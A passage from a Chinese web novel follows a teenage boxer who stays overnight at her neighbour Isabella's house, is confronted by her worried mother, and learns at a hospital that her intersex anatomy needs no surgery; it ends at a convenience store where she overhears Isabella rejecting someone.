陈漠的呼吸轻得几乎听不见,闭着眼睛,睫毛不动了,呼吸平稳,好像睡着了。伊莎贝拉侧着头,借着月光看陈漠清晰的下颌线和高挺的鼻梁,看到她眼睫在脸上投下的一小片扇形阴影,心想她大概累了,今天打了一场架,挨了一身的伤,又在浴室里和自己耗了那么久,最后被自己按在床上吹了头发看了旧照片,应该已经到极限了。 “Goodnight,Chen。” 她说完,翻了个身,背对着陈漠,把自己的被子角掖好,闭上了眼睛。 房间里安静了下来。 过了很久,久到伊莎贝拉的呼吸已经开始变得绵长平稳,快要滑进睡眠的边缘。黑暗里,一只手伸了过来。 很轻,很慢,像是在试探水的温度。 碰到了她的手指。 先是食指的指尖,然后是整只手,覆在她放在小腹的手背上。那只手的掌心是干燥的,指关节上缠着绷带的粗糙触感蹭过她手背上的皮肤,停了大概三秒,扣住了她的手指,拢在掌心里,拇指按在她食指的指节上。 陈漠在黑暗里睁着眼睛,看着天花板,手却握着伊莎贝拉的手。 伊莎贝拉闭着眼睛,没动,也没出声,怕她把手缩回去。 渐渐的,那只手握得更实了。 窗外的街灯在明灭不定地闪着,远处隐约传来警笛声,由近及远,又被夜风吞没了。伊莎贝拉嘴角弯起来,手指轻轻蜷起来,回应了那只手的力道。 一夜无话。 11. 第 11 章 陈漠是先醒的那个。 她在天蒙蒙亮的时候就已经半醒了,这是训练养成的习惯,不管前一晚多累,第二天早上六点半左右身体自动进入浅眠状态,等着手机闹钟响。不过今天叫醒她的不是闹钟,是一股热烘烘的气息均匀地喷在她脖子上,以及一个压在她半边身体上的重量。 伊莎贝拉整个人窝在她身上。头枕在她的右肩,额角抵着她的颈窝,深棕色卷发散了陈漠一肩膀一锁骨,有几缕还钻进了她T恤领口里,蹭着她的皮肤痒丝丝的。一条手臂横过陈漠的腰,手指松松地抓着陈漠左侧腰际的T恤布料。更离谱的是腿,伊莎贝拉的左腿不知道什么时候抬了上来,膝盖弯搭在陈漠的大腿上,脚踝勾着她的小腿,整个人像一只抱着树干睡觉的树袋熊。 陈漠花了几秒确认了一件事:她动不了。右胳膊被压麻了,肩膀到指尖像通了电一样发麻。腰被搂着,腿被缠着,脖子被卷发糊了半边,连呼吸都得小心翼翼地调角度,因为伊莎贝拉的额角刚好顶在她的下颌线上,她稍微低头就会碰到对方的发顶。 躺平了看着天花板,她在心里做了一个简单的评估。伊莎贝拉的睡相可以用一个词概括:侵略性。这种睡法如果放在拳场上,属于近身缠斗中的压制位,她应该用肘部顶开对方的肩窝然后侧身翻滚脱出。 她偏过头,枕头旁边的缝隙里摸到自己的手机,单手举到眼前,按亮屏幕。屏幕的光刺得她眯了一下眼睛,没有消息,没有未接来电。颂蓬昨晚说了明天四点训练场见,所以上午和中午都没有安排。丁哥那边也没动静,昨晚的事应该还在处理中,她不用一大早就去修车厂报到。 她又看了一眼时间,七点二十三分。 伊莎贝拉是十二年级。十二年级的课表她不太清楚,但公立高中早上第一节课是八点十分,十二年级生如果没有早修课的话,最晚八点之前也得起床了,否则第一节课就会迟到。法利小姐昨天还在她耳边念叨出勤率,对陈漠来说这话是耳旁风,伊莎贝拉是即将毕业的学生,出勤率和GPA直接挂钩大学申请。 按灭手机屏幕,她侧过头,尽量把下巴往后收了收,不被卷发糊住嘴,“伊莎贝拉。” 没有反应。 “伊莎贝拉。”她提高了一点音量,同时用还能活动的左手拍了拍伊莎贝拉的肩膀。 伊莎贝拉嘟囔了一声,声音含含糊糊的,大概是西班牙语,陈漠没听懂。她的脸往陈漠的颈窝里又埋了埋,额角蹭过陈漠的下颌线,手臂在她腰上收紧了半寸。 又睡过去了。 陈漠面无表情地盯着天花板,在心里把刚才那句西班牙语归类为“别吵”。 她又等了三十秒,抬起左手,抓住了伊莎贝拉搂在她腰上的手腕,试图把它从自己身上拿开。伊莎贝拉的手指又软又热,被陈漠抓住手腕的时候蜷了一下手指,没有松开的迹象。陈漠把她的手往上提了两寸,她就跟着往上挪了两寸,重新贴回来,这次手指直接钻进了陈漠T恤的侧缝里,指尖贴在她肋骨侧面的皮肤上。 陈漠的动作停了一瞬。她的肋骨侧面有一块淤青,伊莎贝拉的指腹刚好按在淤青边缘,触感鲜明。她深吸了一口气,把这个细节暂时归档到“稍后处理”的文件夹里,换了一种策略。 她松开了伊莎贝拉的手腕,转而去扯伊莎贝拉塞在她腰后的被子。 被子被扯开一角,八月清晨的凉气钻进被窝,伊莎贝拉的身体打了个激灵,眉头皱起来,嘴唇动了动,发出一声介于哼唧和抱怨之间的声音,往陈漠身上贴了贴,大概是本能地在找热源。 陈漠:“……” 她伸手去扯伊莎贝拉搭在她大腿上的那条腿。 手刚碰到膝盖弯,伊莎贝拉就像被触发了什么防御机制一样,腿缠得更紧了,脚踝勾着她的脚踝,小腿贴上她的小腿。 你到底是睡着的还是装的。 陈漠在心里问了一句。她偏过头,低头看着伊莎贝拉的脸。晨光从百叶窗的缝隙里漏进来,在伊莎贝拉的脸上画了几道淡金色的横纹,她的眉毛舒展着,睫毛伏在下眼睑上,呼吸平稳绵长。是真的在睡。 她又扯了扯伊莎贝拉的胳膊,力道比刚才大了一些,大到足以把一个浅眠的人弄醒。 伊莎贝拉的眼睛没有睁开,嘴唇动了。 “Fivemoreminutes。”五个字黏在一起,每个音节都拖着一截含混的尾音。 陈漠听清了,但她不打算给这五分钟。她把伊莎贝拉的胳膊从自己腰上掰开,这次用的是实打实的力道,手指卡住对方手腕内侧的腕骨,往外旋了半圈。这个手法颂蓬教过,专门用来挣脱抓握,不会伤到对方,足够让对方松手。 伊莎贝拉的手松开了,眼睛也睁开了。 只睁开了一半,眼睑还沉沉的,深棕色的虹膜上蒙着一层没睡醒的水雾,表情是空白的,是那种大脑还没有完全启动,意识还泡在梦境残渣里的空白。 她看到了一截脖子。 从侧躺的角度往上抬眼,视线正好落在陈漠的下颌线到锁骨之间那片区域,颈侧,皮肤下面是颈动脉的走向,喉结上方是下颌骨的弧线。晨光从侧面打过来,把陈漠的颈部线条勾勒得很清楚。 伊莎贝拉的大脑还在加载中。她的意识告诉她这是陈漠,是昨天晚上躺在同一张床上的人。但她的大脑边缘系统,率先做出了反应。 她凑上去,张开嘴,在陈漠的颈侧咬了一口。 不轻。牙齿陷进皮肤和肌肉之间的软组织,留下了一圈牙印。 然后她松开了嘴,抬起头来,翻身坐了上去。 整个过程不超过三秒。陈漠在被咬的那一瞬间整个人僵了一下,等她反应过来的时候,伊莎贝拉已经坐在她腰腹上了,双腿分开跨在她髋骨两侧,屁股压在她的大腿上,两只手撑在她肩膀旁边的床垫上,卷发散了一脸,眼睛还是半睁半闭的,嘴唇上沾着一点口水印。 起床气。 陈漠认识这种东西。同学家养了一只白猫,每次被吵醒就会用爪子扇人耳光。伊莎贝拉此刻的表情和那只白猫如出一辙,被冒犯了,很生气,生气的方式是扑上来咬一口,压住对方,好像这样就能继续睡。 她在脑子里过了一遍自己可以做的选择。可以把伊莎贝拉从身上掀下去,这个动作对她来说不难,伊莎贝拉的体重比她轻至少十磅,核心力量也不在一个量级上。但她没动,因为她注意到伊莎贝拉的眼睛还是迷蒙的,瞳孔还没有对焦,这个起床气发作属于半梦半醒之间的本能行为,不是真的在攻击她。 所以她只是躺在那里,双手摊在身体两侧,抬眼看着骑在自己身上摇摇晃晃的伊莎贝拉。 “你醒了没有。” 伊莎贝拉低着头看着陈漠,视线从陈漠的脸慢慢往下移,扫过自己刚才咬过的脖子,那里现在留了一圈浅红色的牙印,印在浅麦色的皮肤上格外显眼。 她的瞳孔终于对焦了。 理智在逐步回笼。她低头看了看自己,坐在陈漠身上,姿势用“跨坐”来形容毫不过分。陈漠被压在自己下面,一头黑发散在枕头上,脖子上有一圈新鲜的牙印,T恤领口在刚才的拉扯中被扯歪了,露出一侧的肩膀和锁骨下方青黄色的淤青,表情却很平静,平静得像是在等她解释。 “Mierda。”她低声骂了一句西语脏话,看向陈漠的眼睛,努力维持镇定,“你刚才是不是在扯我。” “是。” “我让你给我五分钟。” “你没有。”陈漠说。 “我说了,我说的是fivemoreminutes。” “我没答应。” 伊莎贝拉深吸了一口气,松开了撑在陈漠肩膀旁边的手,直起上半身,开始试图从陈漠身上翻下来。她高估了自己刚睡醒时的身体协调性,右腿抬起来的时候膝盖在床垫上滑了一下,整个人往侧面歪过去,她条件反射地伸手去抓床头柜保持平衡,结果把床头柜上那杯插着彩色铅笔的玻璃杯碰翻了。 玻璃杯滚到床沿上,撞在台灯底座上发出一声脆响,彩色铅笔哗啦啦地撒了一地。伊莎贝拉在歪斜中找回了平衡,从陈漠身上翻到床垫一侧,被子被扯得乱七八糟,被子角拖在地板上,盖住了散落的铅笔。 她跪坐在床边,低着头,两只手夹在膝盖之间,卷发挡住了整张脸。 陈漠叹了口气,坐起来,把被扯歪的T恤领子拉回原位。偏头看了一眼地板上的狼藉,又看了一眼床边的伊莎贝拉,她整个人缩成一团,耳朵尖红得发紫,手指夹在膝盖中间绞来绞去,袜子不知道什么时候掉了一只,露出涂着亮橙色指甲油的脚趾。 “你的铅笔掉了。” 伊莎贝拉低着头,肩膀抖了一下,飘出来一句:“我现在不太想讨论铅笔。” 陈漠看了她一会儿,伸手摸了摸自己脖子右侧被咬的位置。皮肤上摸到牙印,这个印子今天大概会消,但至少要在她脖子上留几个小时,提醒她今天早上伊莎贝拉用咬人的方式跟她道了早安。 两个人谁都没说话。 走廊尽头传来一声关门声,紧接着是罗莎趿拉着拖鞋走过走廊的脚步,不紧不慢地往楼梯口方向去了。楼下厨房里响起咖啡机轰隆隆的研磨声,金属锅铲碰在铁锅上的咣当响,水龙头拧开又关上。 伊莎贝拉在这片日常的声响中抬起头,手指把脸上的卷发往后拢了拢,露出还泛着红晕的脸和一双已经清醒了的眼睛。 她看着陈漠脖子上的牙印,嘴唇动 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伊莎贝拉愣了一秒,从床上弹起来,一只脚套上拖鞋另一只脚光着,三步并两步冲出了房间。走廊里响起一阵急促的脚步声,然后是她在浴室里撞翻垃圾桶的动静,以及一声压低了音量但情绪饱满的西班牙语感叹词。 陈漠靠在窗边,合拢百叶窗叶片。 门外,伊莎贝拉的脚步声又从浴室冲回了房间。她冲进来的时候手里拎着校服Polo衫和一条深蓝色长裤,湿漉漉的刘海贴在额头上,显然是洗脸的时候把头发也弄湿了。她把衣服往床上一扔,撩起白色T恤的下摆往上脱,脱到一半才忽然顿住,抬头看着站在窗边的陈漠。 两个人对视了一秒半。 陈漠拨开百叶窗叶片,转身面向窗外。 窗户朝向街道,能看到路边老橡树在晨光里投下的长长树影。 “袜子袜子袜子……Biscuit你又叼走我的袜子!” 一阵狗爪子在地板上打滑的声音,陈漠从玻璃反射的角度看到金毛一溜烟地从敞开的房门口窜了出去。 伊莎贝拉已经换好了校服,正蹲在床边把脚塞进一双白色运动鞋里,湿刘海还贴在额头上。她站起来,从书桌上抓起梳子胡乱梳了两下头发,卷发用那根亮蓝色的发圈绑了个高马尾,整个过程快到像是被人按了快进键。绑完马尾,她转身检查了一下书包里的东西,课本,笔袋,素描本,手机,钥匙,全都塞进去之后,拎起书包往肩上一甩,在门口刹住了脚步。 “冰箱里有三明治,罗莎做的。你拿一个,牛奶在冰箱第二格,橙汁也在里面。”她语速很快,一只脚已经迈出了门,又收回来,探回头,“你今天去学校吗?” 陈漠摇了摇头,姿态很散漫,“我周五都不去。” 伊莎贝拉忍不住翻了个白眼,“忘了,你是职业逃课选手。”说完头也不回地往楼下跑,脚步声在木质楼梯上响着,到了楼下之后传来她跟罗莎简短的西班牙语对话,大概是在交代陈漠还在楼上,记得给她弄早饭,然后是大门打开又关上的声音,纱门弹簧的咯吱声在晨风里拖了个长长的尾音。 脚步声迅速远去,陈漠站在窗边,透过百叶窗的缝隙看到伊莎贝拉沿着人行道快步往学校的方向小跑,书包在肩上一颠一颠的,马尾辫在脑袋后面甩来甩去,路过便利店门口时冲老板娘挥了挥手,经过篮球场时侧身绕开了地上那个瘪气的篮球,走得飞快,很快就消失在街角的拐弯处。 她这才把视线收回来。 弯下腰,捡起地上一支散落的彩色铅笔,湖蓝色的,笔尖摔断了一小截。铅笔放在床头柜上,又捡起另一支橘色的,第三支橄榄绿的,第四支玫红色的,一支一支地捡起来,放回玻璃杯里。 杯子捡起来的时候,她在床头柜和床垫之间的缝隙里看到了几个花花绿绿的小盒子。伊莎贝拉昨天大概随手把它们从抽屉里拿出来之后,又随手塞到了这里。 玻璃杯放回原处,她直起身,走到床边,开始叠被子。 枕套叠得整整齐齐,边角都掖进去,被罩拉平,床单四个角的褶皱用手掌抚平。她的内务标准是颂蓬用竹条抽出来的,起床后三分钟之内床铺必须平整,衣服不能堆地上,鞋必须放正,理由是如果你连自己的床都收拾不干净,你在拳场上也不会有任何纪律可言。 做完这些之后,她把自己的脏衣服从伊莎贝拉昨晚放的那个角落拿起来,夹在胳膊底下。 拉开房门,轻手轻脚地穿过走廊。 主卧门开着,里面没人,伊莎贝拉的父亲大概已经在楼下了。 她走进浴室,昨晚用过的粉色毛巾叠好放在洗手台角上。她犹豫了一下,还是刷牙洗脸,梳了梳头发,扎好马尾。 换下来的脏衣服被塞进书包里,装好,她下了楼。 12.第 12 章 陈漠推开自家门时。 周秀兰坐在客厅正中央布面沙发上,面前的茶几上放着一杯早就凉透的水,旁边搁着手机。 她穿着一件深蓝色长袖,外面罩着一件毛线背心,头发用黑色的细发箍拢到脑后,鬓角有几根白发。 陈漠关上门,站在玄关。 母女俩隔着三米左右的距离对视了一秒,周秀兰问她昨天晚上在哪里。 书包放在鞋柜旁边,陈漠弯腰解开运动鞋的鞋带,动作流畅,她没有打算撒谎。 “隔壁。” “隔壁?”周秀兰皱起眉头,“隔壁洛佩兹家?你在人家家里过夜?” 陈漠把脱下来的运动鞋并排放在鞋柜下面,和鞋架上最底层陈国栋磨破了后跟的旧皮鞋并排放在一起。她穿着一双深灰色的棉袜踩在地板上,另一只脚踝从短了一截的灰色裤腿下露出来。 “嗯。伊莎贝拉让我留的,太晚了,她怕我走夜路不安全。” 周秀兰上下打量陈漠,视线从她的头发丝一路扫到脚上的袜子。她注意到陈漠身上穿的衣服不是昨晚出门时那件,这是一套她从没见过的新家居服,白色棉T恤太新了,灰色棉裤的裤腿短了一小截,袜子的颜色也对不上。 “你衣服换了。” “昨晚那套沾了东西,洗了澡就换了。是伊莎贝拉她哥的衣服。” 周秀兰站起身来,走到陈漠面前,站得很近,近到陈漠能闻到她身上洗衣液的工业香味和一点点汗味,应该是今天早上去洗衣店干了几个小时的零工之后回来还没换衣服。 她盯着陈漠脖子右侧牙印看了大概有五秒,转身走回茶几前面,背对着陈漠,端起那杯凉透的水喝了一口。 然后放下杯子。 “陈漠,你坐下。” 陈漠走过去,在沙发另一头坐了下来,背脊挺得笔直,双手放在膝盖上。这个姿势和她在法利小姐办公室里的坐姿一模一样。 周秀兰站在茶几前面,居高临下地看着她。周秀兰的个头不高,一米六出头,站在坐着的陈漠面前其实没有多少高度优势。陈漠的身高随了她父亲家族那边的人,身架子的宽度不能按常理推测,有一半是先天身体构造的特殊性带来的。 “你昨天晚上是不是又去打架了。” “是。” “跟谁?” “安德烈斯的人。他带人堵了周彦他们几个。” 周秀兰的眼角抽了一下。她在洗衣店叠了八年衣服,跟各种华人大妈、拉美裔清洁工、菲律宾保姆打了八年交道,她的英语听力能对付日常对话。她听着女儿用英文平铺直叙地说出这些话,脸上没有任何表情,好像“带人堵了”和“今天食堂的饭不好吃”是同一级别的事情。 “受伤了没有。” “擦破了几处。” 周秀兰没有再问,转身走进了厨房。 陈漠听到碗碟碰撞的声音,微波炉启动的嗡嗡声,锅铲在锅里翻动的声音。几分钟之后,周秀兰端着一碗冒着热气的面条走了出来。白水煮的挂面,上面卧着一个荷包蛋,旁边搁了几片烫过的青菜,淋了一点点酱油和香油。 她把碗放在陈漠面前的茶几上,“吃。” 陈漠拿起筷子,低头吃面。第一口面刚进嘴里,周秀兰的声音就炸开了。 “我等你等了整整一个晚上。” “你爸十一点四十到家,问我你睡了没,我说你还没回来。他打你电话,没人接。十二点,你又没回来。一点,两点。这附近是什么地方你不比我清楚?上个月街口才出过事,你让我怎么睡?” 陈漠停下筷子,说:“我昨天在她家吃了顿午饭。吃饭吃到一半的时候周彦打来电话,说他们几个在第九街区被人堵了。我去处理。” 周秀兰沉默了片刻,“你爸每天累成那样,挣的钱都花在这个房子和你的学费上。你不好好上学我认了,你打架我也认了,你跑到帮派里跟那些不三不四的人混我也认了。可你现在学会不回来了。” “我不是不回来。我处理完事情以后经过伊莎贝拉家,她家灯还亮着,她让我上去坐坐,后来就晚了。” “晚了就回来,就这么难?” “妈,我在帮红蚁做事。” 这句话说出来之后,客厅里的空气像是被抽走了一层。 “丁哥手下那条线,从第六街区到第九街区,我帮他送货。有时候也帮他处理一些别的。颂蓬在教我打拳,不只是教着玩玩,是在往地下拳场的标准在练。下个月他要带我去打第一场。” “你爸知不知道。” “大概知道一点。”陈漠说,“没说破。” 周秀兰在沙发另一头坐了下来,两只手放在膝盖上,手指绞在一起,指关节因为用力而发白。 “你老老实实告诉我,”她开腔了,嗓子发干,“你除了打架的那些伤,身上还有没有什么问题。” 陈漠放下筷子。 这个问题来得太突然,也太具体,具体到不像是一个普通的追问。 “没有。” “那你脖子上的印子是哪里来的。” 陈漠张了张嘴,周秀兰没有给她开口的机会。 “你以为我眼瞎?你是个十六岁的女孩,不是我老古板。我就问你一句,你老老实实回答我。” 她抬头直视陈漠的眼睛。 “你是不是身体不对劲。” 陈漠看着自己的母亲,看着她干燥起皮的手指,看着她鬓角的白发,看着她眼睛里那种压都压不住的恐惧。她忽然意识到周秀兰在怕什么,怕她身上某些从出生起就藏着掖着的东西终于出问题了。 “你爸当年为什么不肯在国内给你做手术。” “不是因为怕花钱。” 陈漠放下了筷子。 她的注意力,全部的感官都开始聚焦在周秀兰说的每一个字上。 “你当时才几个月大,医生跟我们说,你身体里有两套器官。女性的那套是完整的,卵巢、子宫都有。但你上面还长着一根阴/茎,发育得挺好,比普通男婴的还要……大一些。”周秀兰说到这里顿了一下,在斟酌用词,“除此之外,腹腔里还有一套没发育完全的,没有睾/丸,外面也看不出来,但有一些组织,连接着那根东西。医生说这叫真两性畸形。” “你爸当时就蒙了。医生说可以做手术把那根阴/茎和腹腔里那套没用的东西一起切掉,手术费不低,但也不是天价。你爸在医院走廊里站了整整一个下午,最后跟我说了三个字:不做了。” “医生说那些东西留在身体里也不是要命的事情,切除手术是可选的,不是必须的。你爸说,既然不是必须的,那就不做。他说你是个健全的孩子,身上没少什么也没多什么不该多的。他怕将来有人拿这件事来刁难你。我们带你出了院,寄到你外婆老家的那张报销单上写的是新生儿黄疸,多住了几天院。你外公外婆都不知道。” 陈漠轻叹了口气。 她活了十六年,从来没觉得自己的身体和别的女孩有什么不一样。她来月经的时间和别的女生差不多,只是周期不太规律,有时候两个月来一次,量也不大。她知道身体多出来的东西一直就在那里,从她记事起就是如此,从没觉得那是缺陷,更没想过要割掉它。她是比同龄女生高出一个头,力气大,爆发力好,骨架宽,颂蓬说她天生是练拳的料。青春期之后,那根东西也跟着长了不少,每次换衣服的时候她都懒得想这意味着什么,只当是爹妈给的身体条件之一。 “这段时间我怕你身上出问题。万一那套器官出状况了,你得去医院。”周秀兰说出了最终目的,“跟街区里那些乱七八糟的没有关系。我就是忽然想到这件事,想带你去做个检查。本来是想这个周末跟你提的,结果你昨晚不回来。” 陈漠站起来,走过去,蹲在沙发前面,两只手放在周秀兰的膝盖上。 “好。我去检查。” 周秀兰低头看着女儿的手,看着嵌在指关节绷带缝隙里的血渍,看着手腕上方到小臂那几条被沙袋磨出来的旧疤,看着这双能一拳打断别人锁骨的手现在轻得不敢乱动地搁在她的膝盖上。 她的眼眶红了,一滴眼泪砸在陈漠的手背上。 “安全就好,”她说,声音哑得厉害,“你最要紧的就是安全。别的都往后放。” 陈漠递过去茶几上的纸巾盒。周秀兰抽了两张擦了擦眼睛,又擤了鼻子,纸巾团成球扔进茶几旁边的垃圾桶里。垃圾桶已经满了,最上面是周秀兰早上吃剩的半个馒头和一张撕碎了的超市打折传单。 “那个咬你的,是谁。” 周秀兰回归正常语调的速度比陈漠预想的要快。 “伊莎贝拉?” “……” “你爸回来我要跟他商量一下,隔壁那个小姑娘,以后你少去。” “她不是你想的那样,”陈漠说,“她早上没睡醒,起床气咬的。” 周秀兰递过来一个眼神,含义非常明确:你接着编。 “她怕我一个人吃饭,叫我去她家吃的午饭。我训练的时候摔破了手,她给我包的扎。” 她抬起右手,指关节上绷带展示给周秀兰看。绷带的缠法是新的,和昨天早上出门时不是一个缠法,昨晚某个时候被重新包过了。 周秀兰叹了口气,站起来,端走面碗,“碗我洗。” * 周六上午,陈国栋请了半天假。 这在陈家是极少发生的事情。陈国栋在那家中餐外卖店干了八年,请假次数一只手数得过来,每次都是实在扛不住了才开口。但今天是陈漠去医院检查的日子,周秀兰提前两天就跟他说了。 早上八点半,一家三口坐在客厅里。陈国栋穿了他唯一一件没有油渍的衬衫,深蓝色的。他坐在沙发的正中间,双手放在膝盖上,手指上的烫伤旧疤在日光灯下格外清楚。 茶几上放着周秀兰提前准备好的东西:陈漠的证件,医保卡,一个装着现金的信封,还有一瓶没开封的矿泉水。 “走吧。”陈国栋站起来,拿起茶几上的东西,他个子不算高,一米七出头,站在陈漠旁边矮点。 洛根市公立医院的社区门诊部在第七街区和第八街区的交界处,是一栋灰白色的四层建筑,外观方方正正,窗户上装着铁栅栏。候诊大厅里坐满了人,有抱着哭闹婴儿的年轻母亲,有戴着老花镜在填表的老太太,有胳膊上打着石膏的工人。空气里弥漫着消毒水和候诊区自动贩卖机咖啡粉的混合气味。 周秀兰去窗口挂号的时候,用磕磕绊绊的英语说了半天,窗口后面的工作人员皱着眉听了好几遍才把表格推过来。陈国栋接过表格,胸口口袋里摸出一支圆珠笔,弯着腰在候诊区的塑料椅子上填表。填到既往病史那一栏的时候,他的笔尖顿了一下,然后跳过,继续往下填。 陈漠坐在父母中间,双手插在外套口袋里,脸上没什么表情。她在学校填过无数张表格,也在心里做过最坏的打算。如果有一天真实身体状况被发现,如果她没有合法身份这件事再加上性别模糊这件事,雪球滚起来会把她压碎。 等了大概四十分钟,护士叫了陈漠的名字。 接诊的医生是一个四十多岁的白人女性,栗色短发,戴着一副银色细框眼镜,胸牌上写着“Dr.Thompson”。汤姆森医生说话语速不快,语气很干脆,是那种在公立医院干了十几年之后磨出来的干练。 周秀兰推了推陈国栋,“你去说。”陈国栋张了张嘴,一个字都没蹦出来。 陈漠看了她父母一眼,自己开了口。她用英语告诉汤姆森医生,她需要做一个妇科检查和内分泌检查,以及一个腹腔B超。她提到自己的月经周期不规律,还提到了她身体里可能存在另一套未发育完全的器官。 医生说需要做一个全面的检查,开了一叠单子递过来。 接下来是B超室、内分泌科、妇科室,来来回回跑了一个多小时。做B超的时候,陈漠躺在检查床上,涂了耦合剂的探头在腹部滚动,凉丝丝的。操作B超的女技师盯着屏幕看了一会儿,表情出现了一个细微的变化,探头在同一个位置多停了几秒,然后让陈漠翻身,又做了几个不同角度的扫描。 陈漠盯着天花板上的日光灯,心想,她看到了。 但她不会告诉我,她只会写在报告里,交给医生。 不管是什么结果,她知道自己的命从出生起就是这样了。不是什么错误,不是什么病 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“检查结果出来了。” 她先说了妇科检查的结果。女性的那套生殖器官发育良好,卵巢和子宫的功能都在正常范围内,月经周期不规律是由于体内雄激素水平的轻度波动导致的,这种情况她以前在类似病例里见过,对生育功能没有显著影响。 周秀兰听到“发育良好”的时候肩膀松了一下。 然后是腹腔B超的结果。 医生说,陈漠体内确实存在另一套退化的生殖管道组织,主要集中在腹腔后壁靠近盆壁的位置。这些组织的结构非常特殊,它们没有形成完整的睾/丸,但其中包含着具有内分泌功能的间质细胞。正是这些组织在陈漠青春期开始后分泌了足量的睾酮,驱动了她体外那根阴/茎的发育至完全正常的形态和尺寸。 “Those tissues are functional,”汤姆森医生指了指报告上的数据,“Not enough to produce sperm,but certainly enough to support the development of the externalan。” 周秀兰没完全听懂“externalan”这个词,但她大概猜到了医生在说什么,脸上的表情僵了一瞬。 汤姆森医生继续说,这些组织目前状态稳定,没有任何癌变或异常增生的迹象。腹腔内没有隐睾,因为根本不存在完整的睾/丸,也就谈不上癌变风险。那套内分泌活性的组织被包裹在退化管道残迹中,功能水平大致相当于正常男性下限区间的三分之一到二分之一,这恰好解释了陈漠的体格特征以及月经周期的不规律。 “So,no surgery?”周秀兰磕磕绊绊地挤出一句英语。 汤姆森医生点了点头:“No medical necessity。目前没有任何医学上的必要性去切除这些组织,它们不会造成健康风险。”她顿了一下,斟酌着措辞,“The externalan……it''s there。它就在那里。如果没有功能上的问题,排尿正常,没有疼痛,没有感染,我们没有理由去动它。唯一的建议是:她需要自己决定,未来是否希望通过手术进行修正。这不是医学问题,是个人选择。” 听到“这不是医学问题,是个人选择”这句话的时候,周秀兰眼眶里有什么东西在打转,被她用眨眼的动作硬生生憋了回去。她当年在国内医院的走廊里听到的那个让她不知道该怎么办的医学名词,在这里变成了一个被平淡对待的词汇,和扁桃体结石、副乳、多余的智齿一样,属于你身上可能有但不必为之寝食难安的东西。 汤姆森医生合上了报告,抽屉里拿出一张打印好的A4纸,上面列着建议的观察周期和注意事项,她把纸推到陈漠面前。 陈漠低头看了一眼,看到了那几行字:年度B超,避免腹部重击,注意激素水平波动,以及如果有任何异常疼痛需要及时就医。 腹部重击。她今天晚上还约了颂蓬在训练场,颂蓬昨天说要加大她抗击打训练的量,专门练腹部。现在这张纸告诉她,别让人打你的肚子。 她把这些话默默记在心里,纸对折了一下,塞进外套口袋里。 汤姆森医生忽然问了一句,“Are you an athlete?Your muscle tone is quite exceptional for someone your age。” 周秀兰说她在练泰拳。 汤姆森医生摘下了眼镜,用平常的语气说了一句,建议腹部核心力量训练可以继续,但要避免直接的腹腔重击,其他和普通人没有区别,去当一个正常的普通人吧。她又加了一句:“那个器官有丰富的血管和神经,受伤会比普通部位更疼,也更危险。保护好它。” 陈漠:“……”法利小姐说她不需要被这个街区定义,伊莎贝拉说喜欢自己想喜欢的人不容易,今天这个素不相识的医生说她是个普通的女孩。 周秀兰站起来,对着医生鞠了一躬,说了句“Thankyou”。汤姆森医生说下次年度复查的时候可以直接约她的号。 母女俩走出办公室的时候,陈国栋站在走廊里,靠在对面的墙上,手里捏着瓶没开封的矿泉水。他看到周秀兰出来,直起身子,嘴张了张,没问出口。 “没事,”周秀兰说,“医生说用不着手术。都正常。” 陈国栋站在走廊里,那瓶矿泉水从左手换到右手,又从右手换回左手,然后他低头拧开瓶盖,仰头灌了好几口,瓶子往走廊的长椅上一搁,抬起手背擦了擦嘴角的水渍。 “回家。”他说。 一家三口穿过候诊大厅,推开玻璃门,走到了外面的停车场上。周秀兰走路的步子比来时轻快了一些,边走边跟陈国栋算起了今天晚上吃什么的账。陈漠走在父母后面,双手插在外套口袋里。 回到第六街区的时候,陈漠说了句“下午有训练”,陈国栋看了她一眼,点了头,周秀兰补了句“别练太晚”。 13.第 13 章 门楣上挂着的风铃叮铃铃地响了几声。 韩裔老板娘正蹲在收银台后面整理货架最底层的烟盒,听到风铃响头也没抬,喊了一句“?????”,尾音拖得很长。 喊完,她站起来,看到是陈漠,脸上的职业性微笑立刻切换成了另一种表情,眉毛挑起来,嘴角往一边歪,手里那摞烟盒往柜台上一搁,两只手撑在柜台上,探出半个身子。 “?,??!”哟,陈漠!“??????。????”一周没来了,忙什么呢? “?。”活儿。陈漠用韩语回了一个字,同时把外套拉链往下拉了一点,露出里面伊莎贝拉她哥那件白T恤的领口。 老板娘的目光在T恤领口上停了一瞬,又移到她脖子右侧已经褪成浅黄色的牙印上,脸上的笑意越来越深,食指敲了敲柜台上的打火机,换成英语:“上次跟你一起走的那个女孩,拉美裔的那个,卷头发的,是你女朋友?” 陈漠正在往饮料柜的方向走,听到这句话脚步停了一拍,偏头看着老板娘,脸上的表情是一贯的冷淡,老板娘回了一个“你装,你继续装”的笑容,嘟囔了一句,大意是你这种人我见得多了,嘴硬心软。 陈漠没理她,径直走到饮料柜前面。 便利店的冷柜沿着后墙排了一整排,透明玻璃门后面码着各种颜色的瓶瓶罐罐,运动饮料在最上面一层。她拉开玻璃门,冷气扑面而来,手指在几瓶运动饮料之间犹豫了两秒。颂蓬说过训练前补充电解质比喝白水强,但便利店的运动饮料价格是她平时舍不得买的。她拿了一瓶蓝色的,看了一眼标签上的价格,又放了回去,换了旁边那个便宜一点的牌子。 玻璃门关上,她转身往零食货架的方向走。 这家便利店的布局她闭着眼睛都能走。正对门口的是收银台,收银台旁边是口香糖、打火机和避孕套的小货架。左手边是饮料柜,右手边是三排干货架,中间那条走道最宽,因为老板娘在走道尽头放了一个立式冰柜专门卖冰淇淋和冷冻食品。零食在第二排货架,从膨化食品到能量棒到临期打折区,种类在这个街区已经算得上丰富了,虽然大部分牌子的包装上印着她永远记不住的韩文。 陈漠站在零食货架前面,双手插在外套口袋里,目光从上到下扫了一遍。薯片、虾条、玉米脆、巧克力派、夹心饼干,还有一排花花绿绿的韩国产软糖。她平时很少吃零食,偶尔买一次也是挑热量最高的能量棒,训练前啃一根能顶两个小时。但今天她口袋里多了四十块,周秀兰塞给她的,专门嘱咐她这几天别光吃三明治,去买点正经东西吃。 货架上拿起一盒巧克力派,翻过来看保质期,正在她对比两个不同牌子哪个更划算的时候,货架另一侧传来一个声音。 隔壁走道传过来的,隔着零食货架上层层叠叠的膨化食品袋,听起来有点闷。 “Just give me one reason。” 是一个女生的声音,语气很重,每一个单词都像是被咬碎了吐出来的。 陈漠不认识这个声音。但她认识另一个。 “I already told you。There‘s no reason。I just don’t think of you that way。”伊莎贝拉的声音,比平时低了半个调,语速不快。 